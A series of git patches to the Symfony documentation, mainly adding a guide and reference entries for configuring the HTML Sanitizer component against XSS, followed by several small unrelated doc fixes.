+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // allow the <article> element and 2 attributes
+                    ->allowElement('article')
+                        ->attribute('class')
+                        ->attribute('data-attr')
+
+                    // allow the <img> element and preserve the src attribute
+                    ->allowElement('img')
+                        ->attribute('src')
+
+                    // allow the <h1> element with all safe attributes
+                    ->allowElement('h1', '*')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // allow the <article> element and 2 attributes
+                ->allowElement('article', ['class', 'data-attr'])
+
+                // allow the <img> element and preserve the src attribute
+                ->allowElement('img', 'src')
+
+                // allow the <h1> element with all safe attributes
+                ->allowElement('h1')
+        );
+
+Block and Drop Elements
+~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also block (the element will be removed, but its children
+will be kept) or drop (the element and its children will be removed)
+elements.
+
+This can also be used to remove elements from the allow list.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # remove <div>, but process the children
+                        block_elements: ['div']
+                        # remove <figure> and its children
+                        drop_elements: ['figure']
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- remove <div>, but process the children -->
+                    <framework:block-element>div</framework:block-element>
+
+                    <!-- remove <figure> and its children -->
+                    <framework:drop-element>figure</framework:drop-element>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // remove <div>, but process the children
+                    ->blockElement('div')
+                    // remove <figure> and its children
+                    ->dropElement('figure')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // remove <div>, but process the children
+                ->blockElement('div')
+                // remove <figure> and its children
+                ->dropElement('figure')
+        );
+
+Allow Attributes
+~~~~~~~~~~~~~~~~
+
+Using this option, you can specify which attributes will be preserved in
+the returned HTML. The attribute will be allowed on the given elements, or
+on all elements allowed *before this setting*.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        allow_attributes:
+                            # allow "src' on <iframe> elements
+                            src: ['iframe']
+
+                            # allow "data-attr" on all elements currently allowed
+                            data-attr: '*'
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow "src' on <iframe> elements -->
+                    <framework:allow-attribute name="src">
+                        <framework:element>iframe</framework:element>
+                    </framework:allow-attribute>
+
+                    <!-- allow "data-attr" on all elements currently allowed -->
+                    <framework:allow-attribute name="data-attr">
+                        <framework:element>*</framework:element>
+                    </framework:allow-attribute>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // allow "src' on <iframe> elements
+                    ->allowAttribute('src')
+                        ->element('iframe')
+
+                    // allow "data-attr" on all elements currently allowed
+                    ->allowAttribute('data-attr')
+                        ->element('*')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // allow "src' on <iframe> elements
+                ->allowAttribute('src', ['iframe'])
+
+                // allow "data-attr" on all elements currently allowed
+                ->allowAttribute('data-attr', '*')
+        );
+
+Drop Attributes
+~~~~~~~~~~~~~~~
+
+This option allows you to disallow attributes that were allowed before.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        allow_attributes:
+                            # allow the "data-attr" on all safe elements...
+                            data-attr: '*'
+
+                        drop_attributes:
+                            # ...except for the <section> element
+                            data-attr: ['section']
+                            # disallows "style' on any allowed element
+                            style: '*'
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow the "data-attr" on all safe elements... -->
+                    <framework:allow-attribute name="data-attr">
+                        <framework:element>*</framework:element>
+                    </framework:allow-attribute>
+
+                    <!-- ...except for the <section> element -->
+                    <framework:drop-attribute name="data-attr">
+                        <framework:element>section</framework:element>
+                    </framework:drop-attribute>
+
+                    <!-- disallows "style' on any allowed element -->
+                    <framework:drop-attribute name="style">
+                        <framework:element>*</framework:element>
+                    </framework:drop-attribute>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // allow the "data-attr" on all safe elements...
+                    ->allowAttribute('data-attr')
+                        ->element('*')
+
+                    // ...except for the <section> element
+                    ->dropAttriute('data-attr')
+                        ->element('section')
+
+                    // disallows "style' on any allowed element
+                    ->dropAttribute('style')
+                        ->element('*')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // allow the "data-attr" on all safe elements...
+                ->allowAttribute('data-attr')
+
+                // ...except for the <section> element
+                ->dropAttriute('data-attr', ['section'])
+
+                // disallows "style' on any allowed element
+                ->dropAttribute('style')
+        );
+
+Force Attribute Values
+~~~~~~~~~~~~~~~~~~~~~~
+
+Using this option, you can force an attribute with a given value on an
+element. For instance, use the follow config to always set ``rel="noopener noreferrer"`` on each ``<a>``
+element (even if the original one didn't contain a ``rel`` attribute):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        force_attributes:
+                            a:
+                                rel: noopener noreferrer
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:force-attribute name="a">
+                        <framework:attribute name="rel">noopener noreferrer</framework:attribute>
+                    </framework:force-attribute>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    ->forceAttribute('a')
+                        ->attribute('rel', 'noopener noreferrer')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                ->forceAttribute('a', 'rel', 'noopener noreferrer')
+        );
+
+.. _html-sanitizer-link-url:
+
+Force/Allow Link URLs
+~~~~~~~~~~~~~~~~~~~~~
+
+Besides allowing/blocking elements and attributes, you can also control the
+URLs of ``<a>`` elements:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # if `true`, all URLs will be forced using the `https://` scheme (instead
+                        # of e.g. `http://` or `mailto:`)
+                        force_https_urls: true
+
+                        # specifies the allowed URL schemes. If the URL has a different scheme, the
+                        # attribute will be dropped
+                        allowed_link_schemes: ['http', 'https', 'mailto']
+
+                        # specifies the allowed hosts, the attribute will be dropped if the
+                        # URL contains a different host
+                        allowed_link_hosts: ['symfony.com']
+
+                        # whether to allow relative links (i.e. URLs without scheme and host)
+                        allow_relative_links: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
+                                       scheme (instead of e.g. `http://` or `mailto:`) -->
+                <!-- allow-relative-links: whether to allow relative links (i.e. URLs without
+                                           scheme and host) -->
+                <framework:html-sanitizer
+                    force-https-urls="true"
+                    allow-relative-links="true"
+                >
+                    <!-- specifies the allowed URL schemes. If the URL has a different scheme,
+                         the attribute will be dropped -->
+                    <allowed-link-scheme>http</allowed-link-scheme>
+                    <allowed-link-scheme>https</allowed-link-scheme>
+                    <allowed-link-scheme>mailto</allowed-link-scheme>
+
+                    <!-- specifies the allowed hosts, the attribute will be dropped if the
+                         URL contains a different host -->
+                    <allowed-link-host>symfony.com</allowed-link-host>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // if `true`, all URLs will be forced using the `https://` scheme (instead
+                    // of e.g. `http://` or `mailto:`)
+                    ->forceHttpsUrls(true)
+
+                    // specifies the allowed URL schemes. If the URL has a different scheme, the
+                    // attribute will be dropped
+                    ->allowedLinkScheme('http')
+                    ->allowedLinkScheme('https')
+                    ->allowedLinkScheme('mailto')
+
+                    // specifies the allowed hosts, the attribute will be dropped if the
+                    // URL contains a different host
+                    ->allowedLinkHost('symfony.com')
+
+                    // whether to allow relative links (i.e. URLs without scheme and host)
+                    ->allowRelativeLinks(true)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // if `true`, all URLs will be forced using the `https://` scheme (instead
+                // of e.g. `http://` or `mailto:`)
+                ->forceHttpsUrls()
+
+                // specifies the allowed URL schemes. If the URL has a different scheme, the
+                // attribute will be dropped
+                ->allowedLinkSchemes(['http', 'https', 'mailto'])
+
+                // specifies the allowed hosts, the attribute will be dropped if the
+                // URL contains a different host
+                ->allowedLinkHosts(['symfony.com'])
+
+                // whether to allow relative links (i.e. URLs without scheme and host)
+                ->allowRelativeLinks()
+        );
+
+Force/Allow Media URLs
+~~~~~~~~~~~~~~~~~~~~~
+
+Like :ref:`link URLs <html-sanitizer-link-url>`, you can also control the
+URLs of other media in the HTML. The following attributes are checked by
+the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # if `true`, all URLs will be forced using the `https://` scheme (instead
+                        # of e.g. `http://` or `data:`)
+                        force_https_urls: true
+
+                        # specifies the allowed URL schemes. If the URL has a different scheme, the
+                        # attribute will be dropped
+                        allowed_media_schemes: ['http', 'https', 'mailto']
+
+                        # specifies the allowed hosts, the attribute will be dropped if the URL
+                        # contains a different host
+                        allowed_media_hosts: ['symfony.com']
+
+                        # whether to allow relative URLs (i.e. URLs without scheme and host)
+                        allow_relative_medias: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
+                                       scheme (instead of e.g. `http://` or `data:`) -->
+                <!-- allow-relative-medias: whether to allow relative URLs (i.e. URLs without
+                                           scheme and host) -->
+                <framework:html-sanitizer
+                    force-https-urls="true"
+                    allow-relative-medias="true"
+                >
+                    <!-- specifies the allowed URL schemes. If the URL has a different scheme,
+                         the attribute will be dropped -->
+                    <allowed-media-scheme>http</allowed-media-scheme>
+                    <allowed-media-scheme>https</allowed-media-scheme>
+                    <allowed-media-scheme>mailto</allowed-media-scheme>
+
+                    <!-- specifies the allowed hosts, the attribute will be dropped if the URL
+                         contains a different host -->
+                    <allowed-media-host>symfony.com</allowed-media-host>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // if `true`, all URLs will be forced using the `https://` scheme (instead
+                    // of e.g. `http://` or `data:`)
+                    ->forceHttpsUrls(true)
+
+                    // specifies the allowed URL schemes. If the URL has a different scheme, the
+                    // attribute will be dropped
+                    ->allowedMediaScheme('http')
+                    ->allowedMediaScheme('https')
+                    ->allowedMediaScheme('mailto')
+
+                    // specifies the allowed hosts, the attribute will be dropped if the URL
+                    // contains a different host
+                    ->allowedMediaHost('symfony.com')
+
+                    // whether to allow relative URLs (i.e. URLs without scheme and host)
+                    ->allowRelativeMedias(true)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // if `true`, all URLs will be forced using the `https://` scheme (instead
+                // of e.g. `http://` or `data:`)
+                ->forceHttpsUrls()
+
+                // specifies the allowed URL schemes. If the URL has a different scheme, the
+                // attribute will be dropped
+                ->allowedMediaSchemes(['http', 'https', 'mailto'])
+
+                // specifies the allowed hosts, the attribute will be dropped if the URL
+                // contains a different host
+                ->allowedMediaHosts(['symfony.com'])
+
+                // whether to allow relative URLs (i.e. URLs without scheme and host)
+                ->allowRelativeMedias()
+        );
+
+Custom Attribute Sanitizers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Controlling the link and media URLs is done by the
+:class:`Symfony\\Component\\HtmlSanitizer\\Visitor\\AttributeSanitizer\\UrlAttributeSanitizer`.
+You can also implement your own attribute sanitizer, to control the value
+of other attributes in the HTML. Create a class implementing
+:class:`Symfony\\Component\\HtmlSanitizer\\Visitor\\AttributeSanitizer\\AttributeSanitizerInterface`
+and register it as a service. After this, use ``with_attribute_sanitizers``
+to enable it for an HTML sanitizer:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        with_attribute_sanitizers:
+                            - App\Sanitizer\CustomAttributeSanitizer
+
+                        # you can also disable previously enabled custom attribute sanitizers
+                        #without_attribute_sanitizers:
+                        #    - App\Sanitizer\CustomAttributeSanitizer
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <with-attribute-sanitizer>App\Sanitizer\CustomAttributeSanitizer</with-attribute-sanitizer>
+
+                    <!-- you can also disable previously enabled attribute sanitizers -->
+                    <without-attribute-sanitizer>Symfony\Component\HtmlSanitizer\Visitor\AttributeSanitizer\UrlAttributeSanitizer</without-attribute-sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use App\Sanitizer\CustomAttributeSanitizer;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    ->withAttributeSanitizer(CustomAttributeSanitizer::class)
+
+                    // you can also disable previously enabled attribute sanitizers
+                    //->withoutAttributeSanitizer(CustomAttributeSanitizer::class)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use App\Sanitizer\CustomAttributeSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $customAttributeSanitizer = new CustomAttributeSanitizer();
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                ->withAttributeSanitizer($customAttributeSanitizer)
+
+                // you can also disable previously enabled attribute sanitizers
+                //->withoutAttributeSanitizer($customAttributeSanitizer)
+        );
+
+.. _`HTML Sanitizer W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
+.. _`W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
diff --git a/index.rst b/index.rst
index 289d856e094..c2ec849c27f 100644
--- a/index.rst
+++ b/index.rst
@@ -40,6 +40,7 @@ Topics
     event_dispatcher
     forms
     frontend
+    html_sanitizer
     http_cache
     http_client
     lock
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 721812a0067..cd1a1dc50ca 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1198,6 +1198,17 @@ connection is verified for authenticity. Authenticating the certificate is not
 enough to be sure about the server, so you should combine this with the
 ``verify_host`` option.
 
+html_sanitizer
+~~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The HTML sanitizer configuration was introduced in Symfony 6.1.
+
+The ``html_sanitizer`` option (and its children) are used to configure
+custom HTML sanitizers. Read more about the options in the
+:ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
+
 profiler
 ~~~~~~~~
 
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
new file mode 100644
index 00000000000..d5525674815
--- /dev/null
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -0,0 +1,18 @@
+sanitize_html
+~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 6.1
+
+    The ``sanitize_html`` option was introduced in Symfony 6.1.
+
+When ``true``, the text input will be sanitized using the
+:doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
+submitted. This protects the form input against XSS, clickjacking and CSS
+injection.
+
+.. note::
+
+    You must :ref:`install the HTML sanitizer component <html-sanitizer-installation>`
+    to use this option.
diff --git a/reference/forms/types/options/sanitizer.rst.inc b/reference/forms/types/options/sanitizer.rst.inc
new file mode 100644
index 00000000000..66a76d591e7
--- /dev/null
+++ b/reference/forms/types/options/sanitizer.rst.inc
@@ -0,0 +1,11 @@
+sanitizer
+~~~~~~~~~
+
+**type**: ``string`` **default**: ``"default"``
+
+.. versionadded:: 6.1
+
+    The ``sanitizer`` option was introduced in Symfony 6.1.
+
+When `sanitize_html`_ is enabled, you can specify the name of a
+:ref:`custom sanitizer <html-sanitizer-configuration>` using this option.
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index 204c496ce85..bf1876a0925 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -57,6 +57,10 @@ an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
+.. include:: /reference/forms/types/options/sanitize_html.rst.inc
+
+.. include:: /reference/forms/types/options/sanitizer.rst.inc
+
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 Overridden Options
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 3e0ac8e0db9..413d8e5a09b 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -22,6 +22,13 @@ Renders a ``textarea`` HTML element.
     ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
+.. caution::
+
+    When allowing users to type HTML code in the textarea (or using a
+    WYSIWYG) editor, the application is vulnerable to XSS injection,
+    clickjacking or CSS injection. Use the `sanitize_html`_ option to
+    protect against these types of attacks.
+
 Inherited Options
 -----------------
 
@@ -61,6 +68,10 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
+.. include:: /reference/forms/types/options/sanitize_html.rst.inc
+
+.. include:: /reference/forms/types/options/sanitizer.rst.inc
+
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 .. _`its documentation`: https://symfony.com/doc/current/bundles/FOSCKEditorBundle/index.html
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 575fb051c82..cc24844845a 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -377,6 +377,25 @@ trans
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
+sanitize_html
+~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The ``sanitize_html()`` filter was introduced in Symfony 6.1.
+
+.. code-block:: twig
+
+    {{ body|sanitize_html(sanitizer = "default") }}
+
+``body``
+    **type**: ``string``
+``sanitizer`` *(optional)*
+    **type**: ``string`` **default**: ``"default"``
+
+Sanitizes the text using the HTML Sanitizer component. More information in
+:ref:`HTML Sanitizer <html-sanitizer-twig>`.
+
 yaml_encode
 ~~~~~~~~~~~
 

From 05cf43629142fef91a29e8f6117d833d0ffd5a58 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 17 May 2022 11:58:07 +0200
Subject: [PATCH 3252/7107] Fix options path in composer.json

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index adfec8c3622..b3b3bef1ecd 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -314,7 +314,7 @@ can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
 
     // ...
 
-You can also configure ``extra.runtime.options`` in ``composer.json``:
+You can also configure ``extra.runtime`` in ``composer.json``:
 
 .. code-block:: json
 

From 1c16c3076a74a0a435451888e7d40d5162e52fbe Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Wed, 18 May 2022 00:30:12 -0400
Subject: [PATCH 3253/7107] Fix code example about prepend config

---
 bundles/prepend_extension.rst | 24 ++++++++++--------------
 1 file changed, 10 insertions(+), 14 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 4d174c8366d..c23f9133ff4 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -80,22 +80,18 @@ in case a specific other bundle is not registered::
             }
         }
 
-        // process the configuration of AcmeHelloExtension
+        // get the configuration of AcmeHelloExtension (it's a list of configuration)
         $configs = $container->getExtensionConfig($this->getAlias());
 
-        // resolve config parameters e.g. %kernel.debug% to its boolean value
-        $resolvingBag = $container->getParameterBag();
-        $configs = $resolvingBag->resolveValue($configs);
-        
-        // use the Configuration class to generate a config array with
-        // the settings "acme_hello"
-        $config = $this->processConfiguration(new Configuration(), $configs);
-
-        // check if entity_manager_name is set in the "acme_hello" configuration
-        if (isset($config['entity_manager_name'])) {
-            // prepend the acme_something settings with the entity_manager_name
-            $config = ['entity_manager_name' => $config['entity_manager_name']];
-            $container->prependExtensionConfig('acme_something', $config);
+        // iterate in reverse to preserve the original order after prepending the config
+        foreach (array_reverse($configs) as $config) {
+            // check if entity_manager_name is set in the "acme_hello" configuration
+            if (isset($config['entity_manager_name'])) {
+                // prepend the acme_something settings with the entity_manager_name
+                $container->prependExtensionConfig('acme_something', [
+                    'entity_manager_name' => $config['entity_manager_name'],
+                ]);
+            }
         }
     }
 

From 9883f131e493e21c7833f5f18a000ac5498aaeb1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Manuel=20Kie=C3=9Fling?= <manuel@kiessling.net>
Date: Fri, 20 May 2022 12:57:00 +0200
Subject: [PATCH 3254/7107] Tiny language fix in messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4e1dae322de..3e4b6413618 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1643,7 +1643,7 @@ The SQS transport DSN may looks like this:
 .. note::
 
     The transport will automatically create queues that are needed. This
-    can be disabled setting the ``auto_setup`` option to ``false``.
+    can be disabled by setting the ``auto_setup`` option to ``false``.
 
 .. tip::
 

From 64c9936f91c5af9a26c47cb7c8de43030078db70 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Fri, 20 May 2022 13:25:17 +0200
Subject: [PATCH 3255/7107] [Frontend] Add a note about stimulusFetch &
 TypeScript config

---
 frontend/encore/simple-example.rst | 5 +++++
 frontend/ux.rst                    | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 21a3bad9093..b048d1b98dc 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -317,6 +317,11 @@ split to *separate* files by Encore. Then, those files won't be downloaded until
 the moment a matching element (e.g. ``<div data-controller="lazy-example">``)
 appears on the page!
 
+.. note::
+
+    If you write your controllers using TypeScript, make sure
+    ``removeComments`` is not set to ``true`` in your TypeScript config.
+
 .. _multiple-javascript-entries:
 
 Multiple Entries
diff --git a/frontend/ux.rst b/frontend/ux.rst
index 41bc1d582a3..959d3aab035 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -131,6 +131,11 @@ To make one of your custom controllers lazy, add a special comment on top:
 To make a third-party controller lazy, in ``assets/controllers.json``, set
 ``fetch`` to ``lazy``.
 
+.. note::
+
+    If you write your controllers using TypeScript, make sure
+    ``removeComments`` is not set to ``true`` in your TypeScript config.
+
 More Advanced Setup
 -------------------
 

From cf3b74ca9cf3d316753456ffe10e0d6277fa2c95 Mon Sep 17 00:00:00 2001
From: Jarek Ikaniewicz <githubc@ikaniewicz.pl>
Date: Sun, 17 Apr 2022 15:08:29 +0200
Subject: [PATCH 3256/7107] [Standards] Add constructor property promotion

 Issue#16607
